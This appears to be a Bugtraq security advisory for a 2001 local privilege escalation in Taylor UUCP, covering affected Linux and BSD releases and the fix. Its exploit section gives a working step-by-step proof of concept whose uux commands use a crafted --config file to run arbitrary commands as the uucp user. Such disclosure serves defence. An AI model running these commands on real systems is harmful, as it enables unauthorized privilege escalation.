BID:3312

Taylor UUCP Argument Handling Privilege Elevation Vulnerability

Info

Taylor UUCP Argument Handling Privilege Elevation Vulnerability

Bugtraq ID:	3312
Class:	Input Validation Error
CVE:
Remote:	No
Local:	Yes
Published:	Sep 08 2001 12:00AM
Updated:	Sep 08 2001 12:00AM
Credit:	This vulnerability was announced by zen-parse <[email protected]> via Bugtraq on September 8, 2001.
Vulnerable:	Ian Lance Taylor Taylor UUCP 1.0.6 + Caldera OpenLinux 2.3 + Caldera OpenLinux Server 3.1 + Caldera OpenLinux Workstation 3.1 - HP Secure OS software for Linux 1.0 + MandrakeSoft Corporate Server 1.0.1 + Mandriva Linux Mandrake 8.0 ppc + Mandriva Linux Mandrake 8.0 + Mandriva Linux Mandrake 7.2 + Mandriva Linux Mandrake 7.1 + OpenBSD OpenBSD 2.8 + Redhat Linux 7.2 ia64 + Redhat Linux 7.2 i386 + Redhat Linux 7.1 ia64 + Redhat Linux 7.1 i386 + Redhat Linux 7.1 alpha + Redhat Linux 7.0 i386 + Redhat Linux 7.0 alpha + Redhat Linux 6.2 sparc + Redhat Linux 6.2 i386 + Redhat Linux 6.2 alpha + SCO eDesktop 2.4 + SCO eServer 2.3.1 + Slackware Linux 7.0 + SuSE Linux 7.2 + SuSE Linux 7.1 x86 + SuSE Linux 7.1 sparc + SuSE Linux 7.1 ppc + SuSE Linux 7.1 alpha + SuSE Linux 7.0 sparc + SuSE Linux 7.0 ppc + SuSE Linux 7.0 alpha + SuSE Linux 7.0 + SuSE Linux 6.4 ppc + SuSE Linux 6.4 alpha + SuSE Linux 6.4 + SuSE Linux 6.3 alpha + SuSE Linux 6.3

Not Vulnerable:

Discussion

Taylor UUCP Argument Handling Privilege Elevation Vulnerability

Taylor UUCP is an implementation of the UUCP package written originally by Ian Lance Taylor.

A problem has been discovered in Taylor UUCP that makes it possible for local users to gain elevated privileges. The problem is due to the handling of configuration files when passed to uucp via the --config flag. When uux receives a request to execute commands using a malicious --config file, the commands will be executed with the privileges of uuxqt, a setuid uucp daemon by default.

This makes it possible for a local user to gain elevated privileges, and could lead to a local user gaining administrative access.

Exploit / POC

Taylor UUCP Argument Handling Privilege Elevation Vulnerability

Contributed by Zenith Parsec <[email protected]>:

uux 'uucp --config=/tmp/vv.v /tmp/somefile /tmp/someotherfile'

will use the supplied configuration, without dropping privileges.

1) Make a configuration file that allows any command to be executed, and allows files from anywhere to be copied to anywhere that is writable by uid/gid uucp. ( /tmp/config.uucp )
2) Make a command file with the command you want to be executed.
( /tmp/commands.uucp )
3) Do something like the following:

$ THISHOST=`uuname -l`
$ WHEREYOUWANTIT=/var/spool/uucp/${THISHOST}/X./X.${THISHOST}X1337
$ uux 'uucp --config=/tmp/config.uucp /tmp/commands.uucp '${WHEREYOUWANTIT}

The commands in /tmp/commands.uucp file will be executed by uuxqt, with the uid/gid of uucp.

Solution / Fix

Taylor UUCP Argument Handling Privilege Elevation Vulnerability

Solution:
Users of HP Secure OS software for Linux Release 1.0 are advised to install the Red Hat patches, if uucp was installed.

Updates available:

Ian Lance Taylor Taylor UUCP 1.0.6